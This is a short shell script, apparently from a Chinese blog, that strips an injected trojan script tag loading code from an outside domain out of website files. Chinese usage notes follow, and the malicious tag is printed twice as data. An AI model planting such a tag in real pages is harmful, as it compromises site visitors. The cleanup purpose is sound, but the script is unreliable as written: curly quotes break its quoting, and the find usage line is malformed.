#!/bin/sh
if [ $# -gt 1 ]; then
echo “Usage: $0 [FileName]”
exit 1
elif [ $# -eq 1 ]; then
MY_FILE=$1
else
MY_FILE=$0
fi
if [ ! -f $MY_FILE ]; then
echo “$MY_FILE does not exist!”
exit 2
fi
MY_LINE_NO=1
while read MY_LINE
do
perl -pi -e ‘s|<script src=http:\/\/vanbeurden-porsche.be\/library\/index.php ><\/script>| |g’ $MY_LINE
done < $MY_FILE
先使用 find . /-name >123 然后./shell.sh 123
<script src=http:\/\/vanbeurden-porsche.be\/library\/index.php ><\/script>
这句是木马 里面的反斜杠转义的意思